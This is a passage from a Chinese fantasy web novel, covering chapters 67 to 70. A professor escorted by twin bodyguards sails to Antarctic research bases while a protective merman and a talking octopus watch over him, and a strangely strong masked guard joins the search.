晏越摸了摸触手说:“你长的太大了, 进不来。” 扒在窗框上的触手都耷拉下来了, 似乎泄气了。 “船太慢了, 你可以帮我让船快点吗?” 触手“吧嗒吧嗒”轻声又富有节奏的打在窗框上, 表示同意。 然后在莫里不可思议的目光下,触手消失了。 下一刻,船居然高速行驶了。 他毫无困难地跟怪物交流的模样实在是让莫里震惊。 年轻的上校缓了好久才接受这个事实。 人鱼把他当做配偶,海怪还听他的命令。 这样的人如果选择走向海洋, 跟人类作对,莫里都不敢想有多棘手。 年轻的上校强装淡定,对晏越说:“你得准备一下了,过一会儿会有船来接你,负责护送你去南极的基地点。” 晏越跟他说:“不要给我留太多人。” “知道,都是心腹,这个你放心”,莫里点头,“我不能跟你一起去,我是瞒着帝国出来的,现在估计快瞒不住了,大卫欧文已经不在帝国了,应该是被北野圭派出来了,需要有人拦住他们。” 说完,莫里想到了谈寺,告诉他:“谈寺不能继续留在你身边了,虽然他暂时没有想要害你的意图,但这并不能保证他未来不会改变想法。” 晏越点了点头,看了一眼窗外。 茫茫的海洋上,已经看不到金色了。 他收回了视线。 “准备东西,尽快抵达,我的时间不多了。” 破旧船舶在烟灰蛸的推动下很快跟莫里派来的船舰汇合了。 船上的人看到一圈圈触手缠在船舱上,以为是遇到幽灵船了,纷纷举起枪瞄准过去。 然后他们在看到船上的莫里亚当斯后又陷入迷惑了。 太诡异了。 最后,晏越只带了两个人。 这些都是来自亚当斯家族的人,誓死效忠。 他们会在最危机的关头毫不犹豫选择牺牲自己。 在交接时,霍尔走到莫里身边悄声说:“我们的侦查机器发现了大卫欧文的踪迹,半日后就会跟我们交汇。” 莫里表情严肃,“想办法先拖住他们,不要让他们跟到这里”,然后嘱托那两个人,务必保护晏越的安危。 两个人点头,带着晏越的行李迅速转移到船上。 船缓缓行驶,就在两艘船彻底脱离的时候,角落的一个影子不知道什么时候逃了出来…… 影子不顾被旋涡搅碎的风险跳入水中,悄无声息地跟了上去,攀在那艘小船上。 莫里派来的这两个人是孪生子,长得很像。 一个笑起来左边有虎牙,一个笑起来右边有虎牙。 笑起来右边有虎牙的那个负责控制船继续行驶。 “教授,接下来我们要穿越峡谷区了,可能需要花费三天左右的时间,如果您太累的话可以先休息,穿过峡谷区后我会叫你的。” 那人笑起来,露出左边的虎牙。 “那个是我哥基恩,我叫基特,您有事叫我们就行。” 晏越点头,“辛苦你们了”,他的确累了,需要休息,保持体力直到抵达基地点。 基特负责除了开船以外的所有事项,包括做饭。 他利落地为晏越做了家乡菜,端给他。 “教授,那我就先下去了。” 晏越已经很久没吃过正经的饭菜了,即使当时在忒亚上,吃的基本也是西餐和速食。 他拿起筷子挑了几口,却突然没了胃口。 不吃又怕浪费基特一番心意,他只能强逼着自己吃几口,等实在吃不下才放下筷子。 桌子上的焖鱼明明很鲜,抿进嘴里却吃不出来鱼肉本身的味道,只能吃到酱料的味道。 不知道为什么,他看着碟子里的焖鱼,突然想起来赫瑞斯带回来的那些鱼。 赫瑞斯带回来的往往都是人类很难捕捉到的鱼类。 它会细心挑出所有的鱼刺,用尖锐的指甲将鱼肉分成小块,放在贝壳上递过来。 起初晏越并不能吃下去,甚至吃多了会本能的干呕,后来慢慢就习惯了。 甚至现在,他居然荒谬地感觉,还是赫瑞斯带回来的那些食物更合他的胃口。 想到这里,晏越是彻底没办法吃下去了。 他走出去看到基特就在门口候命。 为了防止伤到基特的心,他说:“菜的味道很不错,谢谢。” 基特一脸兴奋,待晏越走后回去收拾碗筷却发现,晏越只吃了一点点,于是又陷入了怀疑。 这到底是好吃还是不好吃? 回到卧室后,晏越将带来的资料全部看完一遍,在床上躺了很久都没办法入睡。 只要一闭上眼睛,他就会反复想起那些画面。 赫瑞斯浅色如鱼刺般的睫毛轻轻抖动,随时可以刺穿喉咙的蹼爪托着他的脸颊。 它轻柔地将他眼窝的潮湿舔舐干净。 这是独属于赫瑞斯的,无声又平静的安抚方式。 爆炸四起时,它浴火而来,挡住了飞溅的木屑的玻璃碎片。 它说一个月,那就是三十天,不多也不少。 一个月后它就会回到他身边。 带着温度的指腹覆上额心,冰凉又柔软的触感仍历历在目。 比礁石和沙滩更柔软的床铺只要一翻身就会陷进去。 羽绒被将他包裹起来却漏出了许多缝隙,不像海洋那样密不透风。 不知道为什么,脑袋里突然出现了一个从前不记得的画面。 那时在船舱底,四周一片漆黑,眼前只剩下那双蔚蓝色的竖瞳。 他攀上它的肩膀,而它拥他入怀,氧气从它的唇间源源不断的被送来。 他猛地意识到这是当时的事,不知道这么久都不记得,为什么现在突然想起来。 “啧。” 晏越用手背盖住眼睛,脑袋一片乱。 [妈妈,妈妈,你在吗?] 烟灰蛸的声音从船外面传来,晏越翻身下去将窗推开。 烟灰蛸柔软的大脑袋蹭了过来,黑黑的眼睛看到他后开始傻笑。 [妈妈,你变小了呀~] 晏越这才发现烟灰蛸又大了一圈。 它从一只手的大小,到有半个身子那么大,现在光看脑袋的直径都估计有近两米。 “你为什么长了这么大?” 触手抓住他的手腕,然后放在自己的大脑袋上,让晏越摸摸脑袋。 [坏人鱼喂给我了它的血。] 晏越问:“赫瑞斯?它为什么要给你血?” 烟灰蛸说:[坏人鱼说这样会变得更厉害,就可以保护你呀,而且它把我丢出去了,哼。] 它不敢告诉晏越,其实在他睡觉的时候,赫瑞斯进来把它甩了出去。 当时它很生气,嘴里嘀嘀咕咕骂着就要回去,但赫瑞斯那时跟它做了个交易。 赫瑞斯说给它人鱼血,它会变得更强壮。 但相应的,它要把地方让给赫瑞斯。 烟灰蛸的脑袋转了半天,觉得如果变得更厉害,那就可以打过赫瑞斯了,而且还可以保护晏越。 最后它主动选择离开了晏越。 它怕说出来晏越会生气,触手胡乱比划舞着想要糊弄过去。 [哎呀,坏人鱼好像被好多人鱼追杀了,但是那些人鱼打不过它。] 晏越知道烟灰蛸跟赫瑞斯同宗,因此赫瑞斯的血对于烟灰蛸来说是最佳的力量补充源。 可之前赫瑞斯明明不太喜欢它的,怎么又突然愿意给烟灰蛸喂血。 听到烟灰蛸的声音,他从思绪中抽出来,问:“你怎么知道?” 烟灰蛸嘿嘿一笑,[我偷听的,路上有好多人鱼跑去那边,它们说话声音太大了,我就什么都听到啦。] 晏越摸着烟灰蛸脑袋的手一顿。 它继承了赫瑞斯的某些力量,所以可以听到更远的声音。 听到它说的话,晏越说不上来自己究竟是什么感觉。 他不想承认这是担心。 担心一只囚禁自己海兽,他想到这里都觉得自己疯了。 “你还能听到” “轰——” 船突然猛地摇晃,晏越差点从窗里被甩飞出去,还是烟灰蛸的触手拦住他才免得掉进海里。 “什么东西?” 晏越好不容易站稳了。 基特的声音在门后响起,“教授,你没事吗?” 晏越说:“我没事,发生了什么?” 基特告诉他:“是一艘来自帝国的船舰,对我们发起了攻击!教授,基恩会加速离开,请不要离开船舱!” 第68章 第 68 章 骗子 船在攻击下开始晃。 晏越拍拍烟灰蛸的脑袋让它去水里躲着, 关上了窗。 但他关上窗后并没有听基特的话一直呆在房间中,反而是一把拉开门向控制室走去。 基特大惊连忙追上来,“教授, 你怎么出来了?” 晏越边走边说:“去控制室看看,看清楚究竟是谁在追踪我们。” 他不是那种弱不经风的学者, 遇到这样的袭击吓个半死。 更何况对他来说, 这种袭击简直是家常便饭。 他小时候就见过了。 所以基特把他当成国宝一样保护属实是没必要。 驾驶室中的基恩从反光镜里看到晏越,大喊:“基特,保护教授, 不要让教授靠近这里!” 基特满头大汗:“不是,不是,啊不对,是是是” 晏越没解释, 去控制台熟练打开追踪系统,清晰地看到雷达显示。 怪不得基恩这么紧张。 雷达上面显示着密密麻麻的标记, 证明他们身后不止一艘船在追。 晏越第一反应是, 莫里一定是被骗了。 不然不会有这么多船在追。 他问:“还有多久到峡谷区?” 基恩大喊:“三十分钟!” 峡谷区地势复杂, 后面追踪的大型船肯定过不去,到了峡谷区是最好甩开他们的时候了。 但他们想的还是有些美好了。 追踪他们的人早就想到了这一点, 挡在峡谷区的入口处。 “该死的东西, 基恩, 能甩开他们吗?” 基恩摇头。 基特脸色凝重, “基恩, 好好看着前面”,去拿起了枪。 基恩没有说话,他们知道自己的使命,因此毫不犹豫选择了这条路。 晏越下意识想要摸兜。 他有时候会把烟藏在兜的内侧, 但摸了个空后才想起来自己已经有很久没拿过这个东西了。 “基恩,我会在十分钟后从东部堵截入口处的船舰,剩下的就靠你了。” 基恩点了点头,依旧没分出心神。 他没时间悲伤。 突然,晏越看到了雷达上出现了一个点。 那个点迅速脱离船身,靠近入口。 晏越皱起眉问基恩:“你呼叫增援了吗?” 基恩说:“没有,这艘船不能呼叫增援,上校怕被发现。” 晏越快步走过去拿起望远镜看向船前,那是一艘武装后的小快艇。 那艘快艇本该是基特该开的。 基特大惊失色:“船上还有别人?!” 晏越看到了快艇上的人,顿住了。 此时,指挥台的广播响了起来。 “学长,对不起一直以来都瞒着你,但请你相信,我有不得不这么做的由。” 谈寺的声音从广播里传出来,有些哑。 基恩和基特听不懂广播里的人在说什么,他有些疑惑地看向晏越。 晏越猛地拿起联络器,却发现怎么都连不上,只能听到谈寺单方面的通讯。 “我会吸引他们的火力,但我没办法撑太久,所以你们尽快离开。” 晏越不敢相信,谈寺现在明明应该在莫里的看守下回到帝国,万万不应该出现在这里。 他冲去驾驶室,对基恩说:“鸣笛!让他回来!” 基恩一愣,立马照做。 但谈寺并没有停下,他的速度更快了。 “其实我一直都很讨厌研究实验,我小时候很喜欢当画家,但很可惜,我并不配拿起画笔,在来到帝国之间这双手更是肮脏无比。” “后面我看到了你,我只能说自己不反感研究实验了,但我还是没办法喜欢上那些枯燥的东西。” 基恩喊:“教授,没办法阻止那个人!” 晏越拳头攥紧狠狠砸在桌子上,一股巨大的无力感席卷而来。 “我也讨厌那只人鱼,它明明就是不怀好意,为什么我之前就没看出来,不过我最讨厌的就是我自己。” “我想了很多次,为什么明明是我先遇到的你,但到了最后只有我什么都没得到。” 谈寺摁下了自毁设定程序,广播里能清楚的听到倒计时的声音。 基特倒吸了一口凉气。 “我直到现在也没想通,我不服。” 谈寺的声音到最后有些哽咽。 但很快,他似乎轻轻笑了一下。 “不过想不通也无所谓。” “原谅我的自私,我希望用这种方式让你能永远记住我。” 基特手指前方,说:“不好,他要被击毙了!” 闭着眼摁着太阳穴的晏越瞬间睁开了眼睛。 “向前看,永远不要回头。” “嘟——” 通天的火光照亮了面前的海洋。 爆炸声停止后,广播里就只剩下了嘟嘟嘟的忙碌音。 一时间,三个人谁都没说话。 基恩安稳地驶入峡谷。 过了一会儿,基特小心翼翼问:“教授,需要去找那个人吗?” 晏越靠在一边,虎口牢牢盖住了眼眶,半晌没说话。 “继续前行。” 他的声音带着沙哑。 船急速航行穿梭在峡谷中,逐渐跟身后追逐的船只拉开距离。 基特没想到自己捡回一条命,还是被不知道身份的人救了。 但他看着晏越离开的背影,也没敢问。 晏越不知道该用什么样的表情和心态支撑自己。 他在一天之内接连失去了亲人和朋友。 赫瑞斯也离开了。 全世界都在推着他向前走,为他铺出了一条血路。 但荒谬的是,连他自己都不知道自己要走的这条路是否正确。 不知不觉中,他已经无路可退了 船在峡谷中航行了三天。 在第三天夜晚时,基特走过去问基恩:“还有多久能出去?” 基恩喝了一罐能量饮料说:“明天就能走出去,但最近有点奇怪。” 基特问:“怎么了?” 基恩说:“你看最近的记录,每天的夜晚,雷达都显示有东西在不断靠近我们,但还没等到碰到船体就消失了。” 基特“嗯?”了一声,翻看系统,发现确实如基恩所言。 雷达显示每天晚上不同的波段时间内,都会有一些大大小小的点靠近船体。 之所以没发现,是因为还没等靠近到触发警报就消失了。 “这是什么东西?” 基恩说:“不知道是什么鬼玩意,尽快走出峡谷吧,这里实在是太诡异了。” 说完,他又想起来,问:“教授这几天还是只呆在卧室吗?” 基特叹了口气,“对,一直没出来,饭也只吃很少一点,我很担心教授的身体能不能撑到基地点,那里可是很冷的。” 基恩一时也没话说了。 但实际上,晏越的身体还是可以撑到那个时候的。 夜晚,烟灰蛸扒在船下面呼呼大睡时,突然被一股外力扇醒了。 [谁打我!] 它睁开眼睛,看到那抹熟悉的金色影子,怪叫着:[坏人鱼,你怎么在这?!] 赫瑞斯翻了个白眼,蹼爪里还提着巨大的头颅。 [我让你保护他,你就在这里睡觉偷懒?] 烟灰蛸看到赫瑞斯手里的头颅,声音都变低了。 [哎呀哎呀好臭呀你快拿走,我这不是没看到嘛。] 赫瑞斯的脸瞬间沉下来,烟灰蛸亏。 其实从进入峡谷开始,每天晚上水下都会有海怪靠近。 起初,烟灰蛸处起海怪还有些棘手,但赫瑞斯都会神不知鬼不觉出现在身边,三下五除二将它们处干净。 然后烟灰蛸就心安得的躺平了。 [你可不能打我,你打我我就喊,妈妈就能听到,他就会知道其实你就是个大骗子。] 烟灰蛸的小孩音欠欠的,它咕噜咕噜吹了一串长泡泡。 毕竟它总被赫瑞斯欺负,现在终于可以报仇了,必然不会放过这个让赫瑞斯吃瘪的机会。 暴戾的金尾人鱼深深吸了一口气,平复了心情,最后将手里丑陋的海怪头颅砸在烟灰蛸脑袋上。 头颅砸中它软软的脑袋,弹了出去。 [哎呀!你!你呜呜呜] [闭嘴。] 人鱼阴冷的声音和视线镇住了烟灰蛸。 [不要挑战我的耐心。] 烟灰蛸抖得像个筛子,嘴巴里嘀嘀咕咕的。 [你给我等着,我肯定告状,你完了臭人鱼坏人鱼。] 赫瑞斯懒得它,攀着船底轻巧的蹿上去,并精准地找到了晏越所在的房间位置。 此时床上的人正在熟睡中,并不知道发生了什么。 他睡得很不安稳,卷着被子蜷的像个虾一样。 赫瑞斯蛇行到床边,一只手臂撑着床的边缘,獠牙刺破手腕吮吸血液,然后趁着他熟睡喂过去。 它做这件事时很慢,非常慢。 等做完了,又不想离开,撑着上半身静静地对着床上的人的睡颜看了许久。 食指轻轻勾起,轻轻抚平他紧皱的眉心。 直到天快大亮时,它最后为他掖紧了被子,从窗里翻了出去。 烟灰蛸瞥了它一眼。 [哼。] 赫瑞斯每天夜里都会来,一直呆到快天亮才走。 它还不许烟灰蛸告诉晏越。 [明天我不会来了,船会离开这片区域,再让我发现你偷懒,我就把你的触手全拽断喂鲨鱼。] 赫瑞斯警告完就离开了,烟灰蛸看着它受伤的鱼尾,对着它的背影呸呸呸吐了好几口。 [臭人鱼,坏人鱼!] 说完,它又开始嘀嘀咕咕。 [不过坏人鱼也真是,白天去打架,晚上还要来守着,哼,怪它活该,谁让它之前那么对妈妈。] 破晓之时,船行驶出了峡谷区。 80个小时里,第一丝日光落在了床上,晏越缓缓睁开了眼睛。 他不记得自己做了什么梦了,但难得安稳的睡了一觉。 没过多久,基特来敲门告诉他已经离开峡谷区了,三十个小时之内就会抵达基地点。 晏越说自己知道了,卷着被子居然又睡了过去。 这次他清醒的记住了自己梦到了什么,他梦到了海洋。 熟悉的潮湿气息包裹在身边,他平静的闭上了眼睛。 他想,习惯真是一个很可怕的东西。 第69章 第 69 章 在期待什么? 穿过峡谷区, 路便好走很多了。 他们抵达基地所在的区域时,恰巧是最后一个白天。 日光折射在这片茫茫的雪原大地,寂静的只剩雪落的声音。 晏越穿戴整齐后, 走下了船。 基恩将船驻扎在港口,基特在帮忙。 烟灰蛸冒出小半个脑袋, 悄悄叫他。 [妈妈妈妈, 带我一起嘛~] 晏越看着它巨大的脑袋,无奈地拒绝。 “不行,你只能呆在这里, 不要乱跑。” 小孩音泄气了。 他又说:“我很快来接你。” 海里传来小孩子咯咯的笑声。 直到离开港口,他自己都说不清为什么要这么说。 突然,他鬼使神差的回过头去,看到烟灰蛸扒拉着船, 防止船被风刮跑。 发现晏越看过来,一只短短的触手晃了晃。 在看到那只触手伸出来的时候, 他不知道自己是什么感觉。 好像有一瞬间的恍惚, 原来他还拥有被等待的感觉。 虽然等他并不是人。 当初他也没有想到, 一只用来测试的烟灰蛸的未来居然跟自己紧密相连。 “教授?” 身旁的基特叫了他,他这才反应过来, 收回举起的手臂。 基特看向晏越看的方向, 什么都没看到。 他那个位置只能看到船头, 看不到船尾扒拉在上面的触手。 晏越说:“没事, 走吧。” 几个人穿过阻挡在面前的冰川, 傻眼了。 一望无垠的南极大陆,坐落了无数个基地。 基地之间隔着很近,几千米便是第二个,第三个 数量如此之多, 基特震惊到喃喃自语:“这究竟哪个才是?” “或者全部都是?” 晏越看了一眼手表,这是最后一个白天,马上就是极夜了。 他们还有不到五个小时的时间。 “走吧,只能一个一个找了。” 晏越提了提手里的冷冻箱,那里保存着仅剩的“复生”母本的复刻体。 标本最多还能撑三十个小时,三十个小时后,标本就失活了。 他需要尽快找到父母留下的记录,将雏形变为完整体。 但他们在上面远远看着觉得基地靠得很近,可真搜寻起来,光是翻遍一个基地都花上了近四十分钟。 基恩一脚踹开基地的大门,基特把门口的电线拽下来并在门上做上记号,晏越则是直奔观察室,寻找样本。 好在所有基地的构造都差不多,晏越不需要多花时间寻找观察室的位置。 后面,他们加快了速度,但在接连寻找了六个基地后,天彻底黑了下来。 三个人都有些累了。 晏越检查了这个基地的能源设备,还剩一点电,能撑几个小时。 “在这里休息一下吧。” 基恩就地拿出了火源。 为了省电,基特不准备用电做饭。 “教授你先shit!” 基特突然大叫起来,下意识举起枪,一把将晏越拽到身后。 三个人瞬间紧张起来,望着那个黑漆漆的方向。 那里有一双眼睛。 基恩拿起冲锋枪,就等着那个东西一动就开火了。 “咔哒。咔哒。咔哒。” 脚步声在安静的房间里回荡。 晏越握紧了手里的冷冻箱手柄,看着那双眼睛不断靠近。 那是一双漆黑的眼睛,黑到几乎看不清眼神光。 基特大叫:“别过来!” 声音越来越近了。 相比于紧张警惕的基恩和基特兄弟俩,他们身后的晏越反而更冷静。 那双眼睛没有看基恩和基特,直勾勾的看着自己。 四目相对时,晏越突然有一种奇异的感觉,既熟悉又陌生。 黑暗中的人慢慢走过来,晏越甚至能听到自己的心跳声。 直到一双黑色的靴子踏入了他们所在的光源区域内。 基特的警惕达到了巅峰。 他大叫着驱逐这个人,“你究竟是谁!” 那人披着严严实实的外袍,下半张脸被铁质面具遮盖,只漏出了一双漆黑的眼睛。 是人类的瞳孔。 晏越缓缓放松了紧绷的肌肉,突然意识到自己也不知道究竟在期待着什么。 “你是谁,为什么会在这里!说话!” 基特禁止他靠近,大声呵斥。 那人身量极高,是基特需要仰视的高度,仅凭一双眼睛分不出性别,但从个头来看应该是男性。 就在基特第三次质问后,晏越开了口:“不用问了,他是这里的看守人。” 基特还是不敢放松警惕,“看守人?” 晏越在父母的手札上隐层书页里看到过。 为了保护基地的秘密,这里会有几个看守人轮流值守。 他们穿梭在永夜之中,守护着最后的秘密,将最后的生命献祭给了南极。 看来这个人就是其中一个看守人了。 晏越说:“他们不会说话”,然后将手里的冷冻箱放在一边,重新坐下了,顺手从包里拿出一个罐头,用军刀打开后抛给看守人。 黑袍人接过罐头,袍子下漏出一只带着皮质手套的手。 那双手格外修长,但五指分明。 晏越收回了视线,说:“吃吧。” 自从他父母离开南极后,这里就被帝国抛弃了,不再提供补给,这几个看守人的存在也就一起成为了秘密。 他们来的这几个基地,只有这个还有一些备用能源,所以应该也只剩了这个基地还有食物留存。 这个看守人也不知道饿了多久。 那人接过后并没有直接打开,他静静看着青年用军刀撬开罐头。 骨节分明的手拿着军刀的模样,像是雕花,动作干脆利落。 基恩看着晏越都放松警惕,拍拍还僵硬着身体的基特。 “吃饭,不要浪费体力。” 基特从在船上准备牺牲自己的那一次开始,就进入了一种亢奋状态。 在基恩的劝说下,基特看着黑袍人,缓缓坐下来,接过罐头开始进食。 晏越吃了一半勉强饱腹,抬头发现黑袍人还保持着拿着罐头的姿势,一动没动,只是看着他。 这些看守人独自在南极基地度过许多个日夜,早就失去了沟通的能力,跟动物差不多。 晏越以为这人连罐头也不会开了,于是站起来拿过他手里的替他打开,把自己的放在那人手里让那人保管。 军刀利落地划开罐头,富含蛋白质的牛肉罐头被打开,一滴汁都没晃出来。 晏越递给黑袍人,却发现那人已经在吃自己剩下的半个罐头了。 他吃罐头的模样十分奇怪,甚至有些狼吞虎咽。 修长的手指直接掏着牛肉开始吃。 皮质手套上都沾上了罐头汁水,他也不嫌弃,送进面具下的嘴巴里咀嚼。 晏越语塞:“你” 但他吃的模样实在有些吓人。 晏越可怜他或许是好久没吃到外面带来的罐头了,纠结半天还是决定闭上嘴。 在看到他盯着罐头最后剩下的那点肉汤,似乎在考虑要不要喝进去时,晏越终于忍不住了。 晏越一把将罐头拿下来,把新的塞进那人手里。 这次他并不着急吃,看了看基特和基恩,弯下腰拿起了勺子。 晏越看着他奇怪的握勺方式,还有捏着勺柄的皮质手套,默默递过去了一张纸巾。 黑袍人歪了一下头,拿过来就塞进嘴里。 基特震惊的都忘了咀嚼,他看向晏越。 晏越不知有意还是无意,早就偏开了头。 基特想,原来教授都受不了了。 基特戳了戳基恩问:“这看守人不会是把脑子都冻坏了吧?” 基恩踹了他一脚,“别管那么多,快点吃,时间很宝贵。” 于是基特三下五除二把东西吃完收拾好,看到黑袍人还在用勺子搅合罐头没有想继续吃的想法。 “嘿,哥们,我们要走了,你慢慢吃。” 黑袍人瞥了他一眼,又看向正在弯腰收拾东西的晏越,丢下勺子还是选择用手直接将东西直接捞起来塞进嘴里。 基特: 基恩接过晏越面前收拾好的东西,准备拉晏越起来时,一只手突然挡在了面前。 黑袍人直勾勾的看着他。 基恩有一瞬的恍惚,居然在这双眼睛中看到了敌视。 背对着他们的晏越没注意,起身向前走了半天才发现基恩没有跟上来。 “基恩,我们要快点出发了。” 谁知黑袍人收回了视线,竟然跟上了晏越。 基恩一脸诡异,“等等,你要跟着我们走?” 黑袍人像听不到一样,不管身后的基恩,紧紧跟着晏越。 “喂!” 基恩一把拉住黑袍人。 晏越问:“怎么了?” 基恩说:“教授,他想跟我们一起走,怎么办?” 晏越看那黑袍人就在自己不近不远的距离,不说话,就只是看着他。 他说:“算了,那就让他跟着吧,或许因为我们还有食物。” 基恩“啧”了一声,松开了手。 黑袍人被松开后,立马跟上了晏越的脚步。 基特在后面跟基恩嘀咕:“哥,这守卫人得吃多少啊,我们的食物还够吗?” 基恩不爽倒不是因为守卫人要加入,分走他们的食物。 他只是觉得这个人莫名其妙的,很让人火大。 可晏越都没说什么,他们就更没有由驱逐守卫人了。 想了想冰天雪地,多少年都不曾见到同胞,这样黏着他们倒也情有可原。 “盯着他,别让他靠教授太近,这人有点怪。” “啊?” 基特又说:“哪里怪,除了吃饭很奇怪还有哪里不对,哥,你要是十多年没见到活人,没吃过罐头,或许吃的比他还奇怪。” “嗷!” 基特捂着脑袋叫了一声,“你别打我脑袋,很疼啊!” 基恩懒得基特,看着跟着晏越亦步亦趋的黑袍人,握紧了手里的枪。 他走的很慢,又很怪。 像是脚坏掉了,走路一跛一跛的。 但如果真的是跛脚,那肯定有一个比较稳的重心。 可这人不是,他没有一个固定的重心,像是长久没走路的人重新走路一样,还没找到平衡点。 第70章 第 70 章 “他不是人” “这里没有。” 晏越提着冷冻箱走出来后, 基特用刀在门上做了标记。 然后,他们前往了下一个基地。 夜幕降临后的基地达到了零下五六十度。 即便三个人穿了特制的防护服可以免于冻伤,但无法避免防护服很重, 穿在身上对体力的消耗极大。 他们到最后甚至有些麻木了。 基恩寻找电池,基特在门口等着, 看到晏越出来后机械地做标记。 等到不知道排查完第几个基地, 基恩率先出来,对着基特摇头。 “这里的电池都不能用了。” 探照灯的电量已经快到底了,但他们仍然还没找到能用的电池。 这样下去还没等到找到, 就先停在半路了。 基恩“啧”了一声,“看来就只剩下刚才那个还有点电了,早知道应该想办法带走的,谁知道这里居然这么大。” 弟弟基特扫了一眼身后, 戳了戳基恩。 “哥,你看那个守卫人, 好奇怪, 他居然一直就站在门口陪着咱们找, 而且你看他穿的那个袍子,那玩意真的能抗寒吗?” 基恩也很奇怪, 这个守卫人从跟过来到现在, 一个多余的动作都没有。 跟着走, 站在门口等待, 继续跟着离开。 从晏越进入后, 他那双漆黑的眼睛就直直望着基地深处,对其他的东西一点也不感兴趣。 像是设定好的机器一样。 冰雪在他的衣袍上堆得很厚,他也任由它们积压在肩头。 雪只在他走动的时候会洒落。 “这里也没有,走吧, 下一个。” 晏越说。 基特没再跟基恩说话,跟上晏越的步伐。 基恩负责关闭基地大门,因此走在最后面。 这次,基恩特意观察了一下那个守卫人。 相比相遇时的时候,这个人走起来更稳了,不再是那样慢悠悠的。 长腿一迈就能跟上晏越。 基恩的心越发沉了。 这到底是什么东西。 进入下一个基地后,晏越按照惯例去了研究室。 基特看哥哥还没动,催促道:“哥,干活了。” 基恩没说什么,扫了一眼守卫人,进去了。 这次还是无功而返。 但这次基恩出来后,看到守卫人还呆在原地一动没动,眼神变了变。 他在后面悄悄给枪上了膛,被弟弟发现了。 基特问他做什么,基恩指着守卫人的肩膀说:“他没有体温。” 基特大惊失色让基恩不要乱说话,这个地方说这种话会被吓死的。 可基恩一脸严肃的模样实在不像是在开玩笑。 基恩认真地说: “他身上的外袍是棉质的,基地里面比外面暖和,除非是我们这种特质的防护服可以防水防止温度散出去,不然他的外袍必然会沾上人体温度。” 基恩又说:“你仔细看,他肩膀上的积雪没有任何要化的痕迹,而且这种恶劣的天气,穿着这些东西一定会被冻死的。” 基特脸色苍白,看着守卫人亦步亦趋跟在晏越身后,不由得背后一凉。 他压低声音问:“那那他是鬼吗?” 基恩沉着脸,“不知道是什么玩意,但不能再留他在我们身边了,下一个基地做掉他。” 基特干吞了吞嗓子,“好,但是要不要告诉教授。” 基恩想了想,摇头:“没必要,他离着教授太近了,告诉教授反而更容易被发现。” 众人抵达下一个基地时,基特一直在门口紧张的紧绷身子,就等基恩出来后,一声令下,两个人一起杀了守卫人。 但基恩没想到自己在这里找到了电池,所以等他出来时,晏越早就在门口候着了。 晏越看到了基恩手里提着的电池,问:“还有多少电?” 基恩说:“一半,够用了。” 基恩表面不动声色地说着,但藏在身后的手一直握在枪上。 晏越扫了一眼手里冷冻箱上的时间,说:“那就地休息一下,我们已经找了十个小时了,需要睡眠。” 晏越看到基特明显愣住了,于是问:“怎么了?” 基特连忙摇头,说没事。 他眼神示意基恩下一个基地再说,基恩同意了。 晏越把探照灯放在地上,靠在墙壁旁坐下,拿出睡袋给他们二人。 “你们睡会儿,我守着,半个小时后叫你们。” 然后他拿出在研究室找到的一沓资料开始翻看。 兄弟二人本想让晏越先睡,但看他已经看资料进入了状态,索性不再打扰他,卷进睡袋闭上眼睛。 晏越翻看了一半,当资料不小心掉到了地上,被一只手捡起来递过来后,他才想起来还有个人在身边。 黑袍人原来一直站在他身边,没有休息。 他接过资料说:“谢谢,你可以也睡一会儿,但不要睡太久。” 这个温度睡太久很有可能睡着了便醒不过来了。 可是黑袍人摇了摇头。 晏越以为他睡不着,想了一下,将自己的睡袋拿给他。 “你可以用我的睡袋。” 基恩一直没睡着。 因为不敢睡,基恩很怕他们睡着后,这个守卫人对晏越做什么。 在听到晏越甚至还要将自己的睡袋给守卫人后,基恩更是坐不住了。 基恩坐起来,阻止晏越。 “教授,让他用我的吧,我不睡了。” 就在基恩说出这句话的时候,黑袍人已经接过了晏越手里的睡袋,正在翻看研究。 然后他看了一眼基恩和基特,知道了是什么作用后,又把东西还给晏越了。 晏越看了看手表,跟黑袍人说:“不睡就坐下休息会儿,再过十八分钟后我们要离开这里。” 黑袍人没说话,保持着站着的姿势。 基恩眯起眼睛,问:“你不会坐?” 黑袍人不悦地扫了他一眼,扶着墙壁,先是压低腰,然后缓缓放下膝盖,最后才坐在了地上。 一双长腿格外显眼,只是坐姿不太好看而已。 晏越低头正在看资料,等看完了,基特也醒了。 他把东西收进包里站起来,“走吧。” 但几个人都收拾好了东西,地上坐着的人还没动。 他修长的五指撑在地面上,似乎有些疑惑,最后向晏越投去一种求助的目光。 晏越把手递过去,“拉着我。” 皮质贴着掌心,冰凉的。 骨节分明的手在黑色的皮质手套衬托下,更加白皙。 他的手很大,手指几乎比晏越的手指长一个指节,轻松地环住了晏越的手。 晏越将他拽起来,默默抓了一把雪擦手心。 因为他还记得,这双皮质手套曾经抓到了牛肉罐头。 他有洁癖。 这些细小的动作被黑袍人尽收眼底。 黑袍人举起了手,捏了捏皮质手套。 突然,基特喊:“不行,这块电池的能量不够。” 基地的电池并不可以直接释放电量,需要能量激活,这样可以最大程度的保证电量的储存。 这种能量是一种外力刺激,需要特殊工具进行激发。 基恩低骂一句,这是他的工作失误,如果这块电池真的不能用,那他们就在这里白白浪费了宝贵的时间了。 基特找了一块石头,向着包裹着特殊材料的电池猛烈地砸,可能量指示条一动没动。 晏越环顾四周,都没发现能让给予电源足够外力刺激的东西。 他皱着眉看了一眼手表,他们已经在这里多浪费了十分钟了。 “放弃这块电池,走。” “再让我试一下。”基恩说。 晏越又看了一眼表,“五分钟,不行就放弃”,说着进了控制室。 基恩咬着牙,拿着枪托狠狠砸向电源,枪托都要被砸裂了,能量表终于缓缓慢慢跳了一个格。 基特说:“费劲巴拉这么久,才成功了十分之一,算了,我们去找下一个。” 就在这时,一直呆在旁边没声的黑袍人走过去接过了电池,狠狠砸向了墙壁。 电池被砸进墙里,但没什么太大作用。 然后,他在众目睽睽之下,握着电池收紧了手指。 “你干什么,放” 基恩的眼逐渐睁大了。 能量表的格,在缓慢跳动。 一格,两格 直到达到了启动线。 黑袍人将电池递给基特,基特的嘴巴都合不上了。 这是什么恐怖握力? 基特接过来,惊恐地看向基恩,那表情似乎在说: 哥,我终于相信你说的他不是人了,但我们真的能做掉他,而不是他做掉我们吗? 基恩脸色凝重,不说话。 他无声地将电池安装在探照灯上,空气有一瞬的凝滞。 此时,晏越从控制室出来,手里拿着点医用物品。 他略带惊讶地看着探照灯,说:“好了?” 基恩不知道该怎么说,把目光放在了守卫人的手上。 晏越看了看凹进去的墙壁,有些意外。 “这么大的力气。” 然后,他顺手将找到的药品抛给守卫人。 “既然修好了,就快走吧。” 